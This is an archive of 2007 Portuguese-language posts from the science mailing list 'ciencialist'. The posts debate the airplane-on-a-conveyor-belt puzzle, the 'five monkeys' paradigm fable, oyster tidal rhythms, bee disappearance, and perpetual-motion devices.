> > imaginário entre as constelações de Hércules e Balança. Entretanto,
> para um
> > cálculo de trajetórias fora da superfície terrestre, como ocorre em
> naves espaciais,
> > já não podemos desconsiderar os principais movimentos da Terra, da
> Lua, do
> > Sol e dos planetas. Esse comentário inicial é para relembrar e
> alertar que
> > *todos os movimentos* são relativos a algum ponto de referência. A
> depender
> > da escolha dessa referência podemos ter várias interpretações. No
> nosso caso
> > há apenas duas possibilidades básicas a serem utilizadas: um ponto no
> > solo-terra ou um ponto na pista-esteira. Trago a seguir o texto de
> minha
> > última mensagem para continuar os esclarecimentos ali já iniciados.
> >
> > [ Vc - e acredito que a grande maioria dos participantes da lista -
> também
> > não acharam a solução que eu achei desde a primeira vez que refleti
> sobre o
> > problema aqui na lista, há pelo menos dois anos. Só que eu tinha
> dispensado
> > a solução que vcs vêem porque, nesta solução em que ele voa, o
avião se
> > deslocava com o dobro da velocidade *em relação à esteira*... Mas
> quando o
> > referencial é o solo-terra tanto o avião como a esteira se deslocam
> na mesma
> > velocidade, em sentidos contrários. ]
> >
> > 1. Ponto de referência no solo-terra, eixo positivo à sua direita e
> negativo
> > à esquerda.
> > Ve = velocidade da esteira
> > Va = velocidade do avião
> > Va = -Ve
> > O ponto 0 no solo-terra corresponde a um ponto (') na esteira
> >
> > Ve =]> avião
> > <--"-------------------'------------------"----- esteira
> > _____________0_____________ solo-terra
> > - neg. + pos.
> >
> > | 1000 | 1000 |
> >
> > Após 10 segundos o avião atingiu uma velocidade Va=180m/s
> > no ponto (") 1000 m à direita e a esteira acelerou simultaneamente
> > com o avião e atingiu a mesma velocidade Ve=180m/s, após os
> > 10s, se deslocando 1000m à esquerda até o ponto eqüidistante (")
> > Em relação ao ponto 0 no solo-terra o avião percorreu 1000m,
> > mas em relação ao ponto (') na esteira, que coincidia com o
> > ponto 0 no solo-terra, ele se deslocou 2000m.
> > *Em relação ao ponto (') na esteira* o avião está se deslocando
> > com o *dobro da velocidade* com que se desloca a esteira em
> > relação ao ponto 0 no solo-terra.
> >
> > 1.1 - Avião parado-estacionado e a esteira acionada
> > acelerando até atingir a velocidade negativa -Ve.
> > Após 10 segundo deslocou-se 1000 metros à esquerda.
> >
> >
> > =]> avião pousado sobre a esteira com turbinas desligadas
> > é carregado para trás mil metros do ponto 0 em solo-terra.
> > --"---------------------'--------------------- esteira
> > _____________0___________ solo-terra c/ ponto de ref. 0
> > | 1000m |
> >
> >
> > 1.2 - Se as turbinas do avião estivessem acionadas e ele tivesse
> acelerado
> > simultaneamente com a esteira - conforme o enunciado do problema -
> ele teria
> > percorrido sobre a esteira os mesmos 1000 metros à direita. Isto é,
> > continuaria posicionado no ponto 0 no solo-terra. Isto é, não teria se
> > movimentado em relação ao solo e ao ar que o circunda. É como se
> estivesse
> > estacionado no ponto 0 no solo-terra. Sabemos que avião estacionado
> não alça
> > vôo... A não ser quando levado por um furação.
> >
> > Caso não tenha entendido alguma passagem peço especificar.
> >
> > Abraços
> >
> > José Renato
> > ..................................................
> >
> > From: "José Carlos Antonio" <profjc2003@To:
> <ciencialist@yahoogrupos.com.br>
> > Sent: Saturday, April 14, 2007 1:29 AM
> > Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to
> entendendo nada
> > :)
> >
> >
> > Olá José Renato,
> >
> > Logo nas primeiras aulas de Física, para os primeiros colegiais da
> > escola pública onde leciono, eu ensino meus alunos que parte da
> > metodologia de sucesso da ciência, também chamada às vezes de
> > "metodologia científica", inclui "manter-se focado no problema a ser
> > resolvido e nos fenômenos relevantes envolvidos nele". Assim, se eu
> > tivesse que explicar o vôo do avião para meus alunos eu diria a eles
> > que a única coisa que faz um avião voar é à diferença de pressão entre
> > a parte de cima e de baixo das asas dele(e possivelmente de outras
> > partes também, dependendo do modelo aerodinâmico), que causa uma força
> > resultante para cima suficiente para elevá-lo.
> >
> > Assim, qualquer mecanismo que seja empregado para que o avião voe deve
> > criar essa diferença de pressão e, no caso dos aviões que não usam
> > propulsão por foguetes, isso se dá devido a um certo "Princípio de
> > Bernoulli" e ao formato abaulado e desigual das partes superior e
> > inferior das asas do avião. O Princípio de Bernoulli é um princípio
> > pouco comentado na escola (mesmo nas particulares), embora seja
> > riquíssimo como fonte inspiradora para se explicar centenas de
> > fenômenos do nosso cotidiano que vão desde o velho caso do avião até a
> > razão pela qual as roupas secam mais rápido no varal em dias de vento.
> > Enfim, desde que passe ar pelas asas do avião com velocidade
> > suficiente para que seja gerada a força resultante capaz de elevá-lo,
> > ele voará. Pouco importa o que se passa na casa do vizinho, donde vem
> > que, segundo a metodologia científica, não devemos incluir os vizinhos
> > quando estamos pesquisando algo em nossa própria casa. :)
> >
> > Só para finalizar, seja lá o que for que você faça com a esteira o
> > resultado será irrelevante nas condições do problema, pois a esteira
> > não tem nenhuma influência sobre o movimento horizontal do avião e
> > serve somente para lhe dar sustentação em terra, não influindo de
> > forma alguma na velocidade com que o vento passa pelas asas do avião.
> >
> > Como você pode ver, as aulas iniciais sobre a Física e sua metodologia
> > de estudo da natureza são fundamentais para que meus alunos economizem
> > seus neurônios focando-se apenas nos aspectos relevantes dos
> > problemas. É claro que isso poderá limitar um pouco a criatividade
> > deles, mas eu acredito que essa criatividade é melhor empregada em
> > problemas originais e nas tentativas iniciais de abordagem do problema
> > do que na busca de novas soluções para problemas "clássicos" já
> > exaustivamente estudados e resolvidos.
> >
> > Ainda não sei qual foi a "outra" solução que você achou...
> >
> > Abraços,
> > Prof. JC
> >
> >
> > --- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@> escreveu
> > >
> > > JC, não há porque se desculpar!
> > >
> > > Vc - e acredito que a grande maioria também - não acha a solução
> que eu
> > > achei desde a primeira vez que refleti sobre o problema aqui na
> > lista, há
> > > pelo menos dois anos.
> > >
> > > Só que eu tinha dispensado a solução que vcs vêem porque, nesta
> > solução em
> > > que ele voa, o avião se deslocava com o dobro da velocidade *em
> > relação à
> > > esteira*... Mas quando o referencial é o solo-terra tanto o avião
> > como a
> > > esteira se deslocam na mesma velocidade, em sentidos contrários.
> > >
> > > Acredito que agora vc consiga ver o esquema que eu vejo.
> > >
> > > []s
> > >
> > > José Renato
> > > ................................................
> > >
> > > From: "José Carlos Antonio" <profjc2003@To:
> > <ciencialist@yahoogrupos.com.br>
> > > Sent: Friday, April 13, 2007 1:32 AM
> > > Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to
> > entendendo nada
> > > :)
> > >
> > >
> > > Olá José Renato,
> > >
> > > Desculpe-me, mas minha ignorância só permite achar uma solução
para as
> > > condições descritas do problema idealizado: o avião voa.
> > >
> > > Abraços,
> > > JC
> > >
> > >
> > > --- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@> escreveu
> > > >
> > > > Olá, José Carlos!
> > > >
> > > > Não gostaria de lhe estragar o prazer de achar as duas soluções
> > > possíveis
> > > > para a questão apresentada. Lembro que esse mesmo problema foi
> > > apresentado
> > > > há tempos na lista e no final ficaram todos dizendo que voa e
> > apenas eu
> > > > dizendo que não. Agora, espero que não termine do mesmo jeito.
Tenho
> > > > colocado várias dicas para serem analisadas de modo a
acompanhar meu
> > > > raciocínio lógico-matemático. Mas até agora parece que ninguém
> > > conseguiu
> > > > entender minhas explicações.
> > > >
> > > > Abraços
> > > >
> > > > José Renato
> > > > ...................................................
> > > >
> > > > From: "José Carlos Antonio" <profjc2003@>
> > > > To: <ciencialist@yahoogrupos.com.br>
> > > > Sent: Wednesday, April 11, 2007 12:12 AM
> > > > Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to
> > > entendendo nada
> > > > :)
> > > >
> > > >
> > > > Olá JR,
> >
> > (apaguei o restante)
>




SUBJECT: Re: [ciencialist] Re: COMO NASCE UM PARADIGMA
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 16/04/2007 00:09

Mesmo que seja verdade, nada disso é exemplo de paradigma. Paradigmas são
memes, que só se manifestam em sociedades formadas por indivíduos capazes de
raciocínio e memória sofisticadas. Não é o caso das ostras.

[ ]s

Alvaro Augusto



----- Original Message -----
From: "oraculo333" <oraculo@atibaia.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Sunday, April 15, 2007 3:26 PM
Subject: [ciencialist] Re: COMO NASCE UM PARADIGMA


Olá Jose Renato

Renato: "Colocadas em tanques no meio dos Estados Unidos.
Surpreendentemente, elas continuaram a abrir com o movimento da maré
*naquele lugar*, conforme o movimento da Lua!"

Muitos seres vivos tem ciclos que se ligam a fenômenos naturais. Mas é
preciso cuidado ao interpretar essas relações. Por favor, poste a
fonte desse estudo sobre ostras que sabem identificar as fases da Lua
dentro de tanques fora dos ciclos do mar.

Sem isso, fica difícil apenas "acreditar" em alegações dispersas.

Um abraço.

Homero


--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
>
> Silvio, abelhas vivem de mata e flores...
> Há uma experiência interessante feito com ostras. Elas abrem de
acordo com a
> maré. Colocadas em tanques no meio dos Estados Unidos.
Surpreendentemente,
> elas continuaram a abrir com o movimento da maré *naquele lugar*,
conforme o
> movimento da Lua!
> []s
> José Renato
> ........................................
>
> From: "Silvio Cordeiro" <scordeiroes@...>
> To: <ciencialist@yahoogrupos.com.br>
> Sent: Friday, April 13, 2007 9:52 PM
> Subject: Re: [ciencialist] COMO NASCE UM PARADIGMA
>
>
> Álvaro: essa história, resíduo das esperiências de Pavlov, são
descritas há
> mais de 30 anos em palestras de psicólogos: o curioso é que ao longo do
> tempo, se outras foram feitas, não vieram a público....
> As experiências que a marinha americana faz com golfinhos e com
cefalópodes
> são mantidas em absoluto sigilo: eles já são treinados para colocar uma
> granada no casco de um submarino cujo som lhes é passado pelo
controle do
> sonar de de um navio... isso é o que se sabe....
> Russos e americanos têm uma quantidade absurda de experiências com
animais,
> guardadas como segredo pois são peças importantes em qualquer
necessidade
> militar.
>
> E impressionante: gostaria de saber se algum listeiro tem alguma
notícia do
> que acontece com nossas abelhas: estão desaparecendo aos milhares....
>
> sds.,
>
> silvio.
> ----- Original Message -----
> From: Alvaro Augusto (L)
> To: ciencialist@yahoogrupos.com.br
> Sent: Wednesday, April 11, 2007 1:42 PM
> Subject: Re: [ciencialist] COMO NASCE UM PARADIGMA
>
>
> Essa é realmente velha, mas cabem as perguntas de sempre:
>
> - Quais os nomes dos pesquisadores?
> - Em que instituição foram realizados os experimentos?
> - Houve grupo de controle?
> - Os experimentos puderam ser reproduzidos com sucesso por um grupo de
> pesquisadores independentes?
> - Os resultados foram publicados em um periódico peer-reviewed?
>
> Sem tais respostas, podemos concluir que o autor anônimo está apenas
> tentando estabelecer mais um paradigma: o paradigma de que os
paradigmas
> podem ser estabelecidos sem que as pessoas verifiquem se o experimento
> alegado realmente existiu.
>
> E que a alma de Thomas Kuhn descance em paz...
>
> [ ]s
>
> Alvaro Augusto
>
> ----- Original Message -----
> From: "murilo filo" <avalanchedrive@...>
> To: <ciencialist@yahoogrupos.com.br>
> Sent: Tuesday, April 10, 2007 10:34 PM
> Subject: [ciencialist] COMO NASCE UM PARADIGMA
>
> ( essa é velha, mas é muito boa. um pequeno tema p/sua meditação...
> quem são os que matam os paradigmas?)
>
> >COMO NASCE UM PARADIGMA
> >
> >
> >Um grupo de cientistas colocou cinco macacos numa jaula, em cujo
centro
> >puseram uma escada e, sobre ela, um cacho de bananas.
> >Quando um macaco subia a escada para apanhar as bananas, os
cientistas
> >lançavam um jato de água fria nos que estavam no chão.
> >Depois de certo tempo, quando um macaco ia subir a escada, os outros
> >enchiam-no de porradas.
> >Passado mais algum tempo, nenhum macaco subia mais a escada,
apesar da
> >tentação das bananas.
> >Então, os cientistas substituíram um dos cinco macacos.
> >A primeira coisa que ele fez foi subir a escada, dela sendo
rapidamente
> >retirado pelos outros, que o encheram de porradas, antes que
recebessem o
> >jato de água fria.
> >Depois de algumas surras, o novo integrante do grupo não mais subia a
> >escada.
> >Um segundo foi substituído, e o mesmo ocorreu, tendo o primeiro
> substituto
> > participado, com entusiasmo, da surra ao novato.
> >Um terceiro foi trocado, e repetiu-se o fato. Um quarto e,
finalmente,o
> >último dos veteranos foi substituído.
> >Os cientistas ficaram, então, com um grupo de cinco macacos que,
mesmo
> >nunca tendo tomado um banho frio, continuavam batendo naquele que
> tentasse
> >chegar às bananas.
> >Se fosse possível perguntar a algum deles porque batiam em quem
tentasse
> >subir a escada, com certeza a resposta seria: "Não sei, as coisas
sempre
> >foram assim por aqui..."
> >
> >Conte esta história para seus amigos, para que, vez por outra,
> >questionem-se porque estão batendo...
> >
> >"É MAIS FÁCIL DESINTEGRAR UM ÁTOMO DO QUE UM PRECONCEITO".
> > ( Albert Einstein )
> >
> >
> >Sds,
> >Edenilson Araújo



SUBJECT: Re: [ciencialist] P/ JC - Re: Balanço do avião - Não to entendendo nada
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 16/04/2007 00:11

Você ainda estão discutindo sobre isso? Não seria melhor alguém construir um
modelo e acabar com a dúvida?

[ ]s

Alvaro Augusto


----- Original Message -----
From: "José Renato" <jrma@terra.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Sunday, April 15, 2007 11:25 PM
Subject: Re: [ciencialist] P/ JC - Re: Balanço do avião - Não to entendendo
nada


> Olá, Homero! Procuro esclarecer as questões que ainda apresentam
> dificuldade
> de compreensão, conforme são apresentadas no texto do seu e-mail abaixo,
> após JR -, OK?
> ..................................
>
> From: "oraculo333" <oraculo@To: <ciencialist@yahoogrupos.com.br>
> Sent: Sunday, April 15, 2007 3:00 PM
> Subject: Rw: [ciencialist] P/ JC - Re: Balanço do avião - Não to
> entendendo
> nada
>
>
> Olá Jose Renato
>
> Eu quase resisti, e deixei sua mensagem, errada como sempre, de
> lado..:-) Mas, quem sabe, em algum momento você acaba entendendo.
>
> Renato: "1.2 - Se as turbinas do avião estivessem acionadas e ele
> tivesse acelerado simultaneamente com a esteira - conforme o enunciado
> do problema - ele teria percorrido sobre a esteira os mesmos 1000
> metros à direita. Isto é, continuaria posicionado no ponto 0 no
> solo-terra. Isto é, não teria se movimentado em relação ao solo e ao
> ar que o circunda. É como se estivesse estacionado no ponto 0 no
> solo-terra. Sabemos que avião estacionado não alça vôo... A não ser
> quando levado por um furação."
>
> Putz, putz.... É demais. Sua ilusão a respeito da esteira é forte
> mesmo, eu diria, religiosa. E como sua fé religiosa também é forte,
> quase fanática, isso deve explicar seu problema com a esteira. Você
> 'acredita" que a esteira pode, de alguma forma mágica, influenciar o
> avião. E ao "encontrar" esta resposta primeira, não consegue mais
> abandona-la, devido a fé que tem nela. [ ... ]
> JR - O que é demais? O que a fé tem a ver com a questão do avião? Tente
> ser
> objetivo e específico.
>
> [ ... ] Você AINDA está pensando que as RODAS do avião é que o fazem se
> mover, está pensando em "PERCORRER" mil metros SOBRE a esteira, quando ele
> iria , não importa o referencial, percorrer mil metros em relação ao ar e
> chão, e 2000 em relação a esteira, não importa como meça isso!
> JR - Não é isso que eu escrevi, nem é isso o que eu penso. Mostre-me onde
> na
> minha explanação menciono as rodas do avião. O avião transportado pela
> esteira e é impulcionado pelas turbinas... Não falo em rodas.
>
> Vou tentar assim mesmo, quem sabe vê "a luz"..:-)
>
> Pense no tempo 0, quando o avião vai ligar as turbinas, e use seu
> exemplo, ele se encontra a mil metros do local inicial, para onde foi
> levado pela "esteira". Como está o avião neste momento, Renato?
> Se está "se movendo", para tras, então as turbinas vão ter de lutar
> contra ESSE MOVIMENTO e não contra a esteira. Se está se movendo para
> tras, então está, em relação ao chão e ao ar, se MOVENDO e *precisa
> primeiro vencer esse movimento antes de começar a se mover para frente*.
> JR - Seu raciocínio está considerando um ponto de referência no
> solo-terra.
> Se vc considerar o ponto de referencia na pista-esteira o avião começa a
> se
> deslocar para frente *na esteira* por menor que seja esse deslocamento
> *sobre a esteira*. Nesse caso, quando o avião atingir a velocidade igual a
> da esteira, em sentido contrário, ele estará parado em relação ao
> solo-terra
> e ao ar que o circunda.
>
> Neste momento, a esteira é MAIS UMA VEZ, IRRELEVANTE. Todas as forças
> se referem ao movimento do avião, e NÃO a esteira. Não é esta que
> impede a decolagem mas o MOVIMENTO do avião para tras. [ ... ]
> JR - A esteira não é irrelevante, é parte fundamental do problema. Tente
> visualizar um avião decolando numa pista. Nesse caso, consideramos que a
> pista esta "parada" e só o avião se move. Agora considere que essa pista
> está se movendo em sentido contrário ao do avião. Tente raciocinar em cima
> disso...
>
> [ ... ] Tente imaginar um ônibus espacial em órbita. Ele SE MOVE a 27 mil
> quilômetros por hora e POR ISSO não cai na Terra. Ele não está suspenso em
> órbita, mas a uma enorme velocidade, que permite que a 'curva" de queda
> seja
> igual a curva da Terra.
> Como ele começa a descer para a Terra? Ele liga as turbinas no sentido
> COBNTRÁRIO de seu movimento, para desacelerar, e começar a cair com
> uma curvatura MENOR que a curvatura da Terra.
> JR - Nada a ver...
>
> Volte a esteira. Se mover o avião para tras, com qualquer força, por
> exemplo, se empurrar o avião para tras a velocidade de 20 km por hora,
> é EVIDENTE que este terá, com a força de suas turbinas, compensar esse
> movimento antes de começar a se mover para frente.
> JR - Digressões desnecessárias. As forças principais são fornecidas por
> motores para movimentar a esteira e pelas as turbinas para movimentar o
> avião. E bastam.
>
> O enunciado é CLARO: o avião está PARADO e a esteira está PARADA. Esta
> se move, rola para tras, apenas quando o avião se MOVE PARA FRENTE. E
> a esteira se move a velocidade do avião, em sentido contrário. Isso
> causa apenas a rolagem das rodas em velocidade dobrada, nada mais.
> JR - Aqui vc está considerando um ponto de referencia no solo-terra. Neste
> esquema estamos de acordo.
>
> Mais um exemplo: pense em um avião sobre um vagão de trem aberto. O
> trem se move a 50 km/h, e o avião está apontado para o fim do trem. É
> EVIDENTE que se o avião desejasse voar, deveria primeiro vencer esse
> movimento para tras e depois começar a andar para frente, em relação
> ao ar. Mas, em maiúsculas apra ficar claro, NÃO É O TREM QUE ELE TEM
> DE VENCER, COMO NÃO SERIA A ESTEIRA, MAS SEU PRÓPRIO MOVIMENTO PARA
> TRAS!!!
> JR - Continua considerando um ponto de referência no solo-terra. Tente
> pensar o que ocorre quando o avião aciona as turbinas e começa a se
> deslocar
> *na mesma velocidade do trem* em sentido contrário!?
>
> Como a esteira do enunciado nunca conseguira mover o avião para tras,
> ele NUNCA precisará vencer nenhum movimento, e decolará sem problema.
> JR - JR - Nunca é muito tempo, Homero! Um pacote, uma mala ou um avião
> podem
> ser transportadom por uma esteira em movimento, sim. Vc está confundindo
> as
> duas soluções... Acima - quando considera o ponto de ref no solo-terra -
> afirma que precisa vencer o movimento do trem para *começar a se deslocar
> para frente* e agora não precisa mais. Por que? Não há dúvidas que em
> ambas
> as soluções o avião está sujeito ao movimento da esteira que tem *a mesma
> velocidade dele* em sentido contrário. Observe que, quando utilizamos um
> ponto de ref no solo-terra, a velocidade do avião em relação à esteira é
> *o
> dobro da velocidade* da esteira em relação ao pto de ref no solo-terra.
>
> Esta é minha última tentativa, Renato, depois fica por sua conta
> vencer sua fé cega e finalmente entender seu erro no problema.
>
> Homero
>
> Abraços
>
> José Renato
> .........................
> --- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
>>
>> Caro, Prof. José Carlos!
>>
>> Sabemos que todo movimento tem um ponto como referência, o ponto zero.
>> Usualmente, consideramos que a Terra está "fixa". Sua superfície
> está sempre
>> no mesmo lugar. Desconsideramos todos os demais movimentos, como:
> rotação,
>> translação, nutação, precessão do equinócio e translação rumo ao
> Apex, ponto
>> imaginário entre as constelações de Hércules e Balança. Entretanto,
> para um
>> cálculo de trajetórias fora da superfície terrestre, como ocorre em
> naves espaciais,
>> já não podemos desconsiderar os principais movimentos da Terra, da
> Lua, do
>> Sol e dos planetas. Esse comentário inicial é para relembrar e
> alertar que
>> *todos os movimentos* são relativos a algum ponto de referência. A
> depender
>> da escolha dessa referência podemos ter várias interpretações. No
> nosso caso
>> há apenas duas possibilidades básicas a serem utilizadas: um ponto no
>> solo-terra ou um ponto na pista-esteira. Trago a seguir o texto de
> minha
>> última mensagem para continuar os esclarecimentos ali já iniciados.
>>
>> [ Vc - e acredito que a grande maioria dos participantes da lista -
> também
>> não acharam a solução que eu achei desde a primeira vez que refleti
> sobre o
>> problema aqui na lista, há pelo menos dois anos. Só que eu tinha
> dispensado
>> a solução que vcs vêem porque, nesta solução em que ele voa, o avião se
>> deslocava com o dobro da velocidade *em relação à esteira*... Mas
> quando o
>> referencial é o solo-terra tanto o avião como a esteira se deslocam
> na mesma
>> velocidade, em sentidos contrários. ]
>>
>> 1. Ponto de referência no solo-terra, eixo positivo à sua direita e
> negativo
>> à esquerda.
>> Ve = velocidade da esteira
>> Va = velocidade do avião
>> Va = -Ve
>> O ponto 0 no solo-terra corresponde a um ponto (') na esteira
>>
>> Ve =]> avião
>> <--"-------------------'------------------"----- esteira
>> _____________0_____________ solo-terra
>> - neg. + pos.
>>
>> | 1000 | 1000 |
>>
>> Após 10 segundos o avião atingiu uma velocidade Va=180m/s
>> no ponto (") 1000 m à direita e a esteira acelerou simultaneamente
>> com o avião e atingiu a mesma velocidade Ve=180m/s, após os
>> 10s, se deslocando 1000m à esquerda até o ponto eqüidistante (")
>> Em relação ao ponto 0 no solo-terra o avião percorreu 1000m,
>> mas em relação ao ponto (') na esteira, que coincidia com o
>> ponto 0 no solo-terra, ele se deslocou 2000m.
>> *Em relação ao ponto (') na esteira* o avião está se deslocando
>> com o *dobro da velocidade* com que se desloca a esteira em
>> relação ao ponto 0 no solo-terra.
>>
>> 1.1 - Avião parado-estacionado e a esteira acionada
>> acelerando até atingir a velocidade negativa -Ve.
>> Após 10 segundo deslocou-se 1000 metros à esquerda.
>>
>>
>> =]> avião pousado sobre a esteira com turbinas desligadas
>> é carregado para trás mil metros do ponto 0 em solo-terra.
>> --"---------------------'--------------------- esteira
>> _____________0___________ solo-terra c/ ponto de ref. 0
>> | 1000m |
>>
>>
>> 1.2 - Se as turbinas do avião estivessem acionadas e ele tivesse
> acelerado
>> simultaneamente com a esteira - conforme o enunciado do problema -
> ele teria
>> percorrido sobre a esteira os mesmos 1000 metros à direita. Isto é,
>> continuaria posicionado no ponto 0 no solo-terra. Isto é, não teria se
>> movimentado em relação ao solo e ao ar que o circunda. É como se
> estivesse
>> estacionado no ponto 0 no solo-terra. Sabemos que avião estacionado
> não alça
>> vôo... A não ser quando levado por um furação.
>>
>> Caso não tenha entendido alguma passagem peço especificar.
>>
>> Abraços
>>
>> José Renato
>> ..................................................
>>
>> From: "José Carlos Antonio" <profjc2003@To:
> <ciencialist@yahoogrupos.com.br>
>> Sent: Saturday, April 14, 2007 1:29 AM
>> Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to
> entendendo nada
>> :)
>>
>>
>> Olá José Renato,
>>
>> Logo nas primeiras aulas de Física, para os primeiros colegiais da
>> escola pública onde leciono, eu ensino meus alunos que parte da
>> metodologia de sucesso da ciência, também chamada às vezes de
>> "metodologia científica", inclui "manter-se focado no problema a ser
>> resolvido e nos fenômenos relevantes envolvidos nele". Assim, se eu
>> tivesse que explicar o vôo do avião para meus alunos eu diria a eles
>> que a única coisa que faz um avião voar é à diferença de pressão entre
>> a parte de cima e de baixo das asas dele(e possivelmente de outras
>> partes também, dependendo do modelo aerodinâmico), que causa uma força
>> resultante para cima suficiente para elevá-lo.
>>
>> Assim, qualquer mecanismo que seja empregado para que o avião voe deve
>> criar essa diferença de pressão e, no caso dos aviões que não usam
>> propulsão por foguetes, isso se dá devido a um certo "Princípio de
>> Bernoulli" e ao formato abaulado e desigual das partes superior e
>> inferior das asas do avião. O Princípio de Bernoulli é um princípio
>> pouco comentado na escola (mesmo nas particulares), embora seja
>> riquíssimo como fonte inspiradora para se explicar centenas de
>> fenômenos do nosso cotidiano que vão desde o velho caso do avião até a
>> razão pela qual as roupas secam mais rápido no varal em dias de vento.
>> Enfim, desde que passe ar pelas asas do avião com velocidade
>> suficiente para que seja gerada a força resultante capaz de elevá-lo,
>> ele voará. Pouco importa o que se passa na casa do vizinho, donde vem
>> que, segundo a metodologia científica, não devemos incluir os vizinhos
>> quando estamos pesquisando algo em nossa própria casa. :)
>>
>> Só para finalizar, seja lá o que for que você faça com a esteira o
>> resultado será irrelevante nas condições do problema, pois a esteira
>> não tem nenhuma influência sobre o movimento horizontal do avião e
>> serve somente para lhe dar sustentação em terra, não influindo de
>> forma alguma na velocidade com que o vento passa pelas asas do avião.
>>
>> Como você pode ver, as aulas iniciais sobre a Física e sua metodologia
>> de estudo da natureza são fundamentais para que meus alunos economizem
>> seus neurônios focando-se apenas nos aspectos relevantes dos
>> problemas. É claro que isso poderá limitar um pouco a criatividade
>> deles, mas eu acredito que essa criatividade é melhor empregada em
>> problemas originais e nas tentativas iniciais de abordagem do problema
>> do que na busca de novas soluções para problemas "clássicos" já
>> exaustivamente estudados e resolvidos.
>>
>> Ainda não sei qual foi a "outra" solução que você achou...
>>
>> Abraços,
>> Prof. JC
>>
>>
>> --- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@> escreveu
>> >
>> > JC, não há porque se desculpar!
>> >
>> > Vc - e acredito que a grande maioria também - não acha a solução
> que eu
>> > achei desde a primeira vez que refleti sobre o problema aqui na
>> lista, há
>> > pelo menos dois anos.
>> >
>> > Só que eu tinha dispensado a solução que vcs vêem porque, nesta
>> solução em
>> > que ele voa, o avião se deslocava com o dobro da velocidade *em
>> relação à
>> > esteira*... Mas quando o referencial é o solo-terra tanto o avião
>> como a
>> > esteira se deslocam na mesma velocidade, em sentidos contrários.
>> >
>> > Acredito que agora vc consiga ver o esquema que eu vejo.
>> >
>> > []s
>> >
>> > José Renato
>> > ................................................
>> >
>> > From: "José Carlos Antonio" <profjc2003@To:
>> <ciencialist@yahoogrupos.com.br>
>> > Sent: Friday, April 13, 2007 1:32 AM
>> > Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to
>> entendendo nada
>> > :)
>> >
>> >
>> > Olá José Renato,
>> >
>> > Desculpe-me, mas minha ignorância só permite achar uma solução para as
>> > condições descritas do problema idealizado: o avião voa.
>> >
>> > Abraços,
>> > JC
>> >
>> >
>> > --- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@> escreveu
>> > >
>> > > Olá, José Carlos!
>> > >
>> > > Não gostaria de lhe estragar o prazer de achar as duas soluções
>> > possíveis
>> > > para a questão apresentada. Lembro que esse mesmo problema foi
>> > apresentado
>> > > há tempos na lista e no final ficaram todos dizendo que voa e
>> apenas eu
>> > > dizendo que não. Agora, espero que não termine do mesmo jeito. Tenho
>> > > colocado várias dicas para serem analisadas de modo a acompanhar meu
>> > > raciocínio lógico-matemático. Mas até agora parece que ninguém
>> > conseguiu
>> > > entender minhas explicações.
>> > >
>> > > Abraços
>> > >
>> > > José Renato
>> > > ...................................................
>> > >
>> > > From: "José Carlos Antonio" <profjc2003@>
>> > > To: <ciencialist@yahoogrupos.com.br>
>> > > Sent: Wednesday, April 11, 2007 12:12 AM
>> > > Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to
>> > entendendo nada
>> > > :)
>> > >
>> > >
>> > > Olá JR,
>>
>> (apaguei o restante)
>



SUBJECT: Re: [ciencialist] COMO NASCE UM PARADIGMA
FROM: Marcos Paulo Serafim <mpserafim@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 16/04/2007 08:32

Silvio,

Falando sobre abelhas, foi publicado no Slashdot um link para uma
notícia do "The Independent" de uma pesquisa indicando que talvez os
telefones celulares estejam afetando o sistema de navegação delas,
fazendo com que as mesmas não consigam retornam para suas colmeias:

http://science.slashdot.org/science/07/04/15/0727238.shtml
http://news.independent.co.uk/environment/wildlife/article2449968.ece

[]'s
Marcos Paulo Serafim


> ----- Original Message -----
> From: "Silvio Cordeiro" <scordeiroes@superig.com.br>
> To: <ciencialist@yahoogrupos.com.br>
> Sent: Friday, April 13, 2007 9:52 PM
> Subject: Re: [ciencialist] COMO NASCE UM PARADIGMA
>
>
> Álvaro: essa história, resíduo das esperiências de Pavlov, são descritas há
> mais de 30 anos em palestras de psicólogos: o curioso é que ao longo do
> tempo, se outras foram feitas, não vieram a público....
> As experiências que a marinha americana faz com golfinhos e com cefalópodes
> são mantidas em absoluto sigilo: eles já são treinados para colocar uma
> granada no casco de um submarino cujo som lhes é passado pelo controle do
> sonar de de um navio... isso é o que se sabe....
> Russos e americanos têm uma quantidade absurda de experiências com animais,
> guardadas como segredo pois são peças importantes em qualquer necessidade
> militar.
>
> E impressionante: gostaria de saber se algum listeiro tem alguma notícia do
> que acontece com nossas abelhas: estão desaparecendo aos milhares....
>
> sds.,
>
> silvio.
>



SUBJECT: Re: [ciencialist] Re: A energia da flutuação
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 16/04/2007 09:54

Motores de flutuação, na tentativa de motos perpétuos datam do dia posterior ao grito de EUREKA do Arquimedes! Vejam os moçoilos em:

http://www.feiradeciencias.com.br/sala25/25_MP_07.asp

http://www.feiradeciencias.com.br/sala25/25_MP_08.asp

http://www.feiradeciencias.com.br/sala25/25_MP_09.asp

http://www.feiradeciencias.com.br/sala25/25_MP_10.asp

são jóias do devaneio humano ... entre tantas outras!
Todavia, o que julgo 'mais bonitinho' de todos, realmente um 'estalo' magnético é o reproduzo em minha página de abertura da Sala de Motos Perpétuos:

http://www.feiradeciencias.com.br/sala25/index25.asp

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "murilo filo" <avalanchedrive@hotmail.com>
Para: <ciencialist@yahoogrupos.com.br>
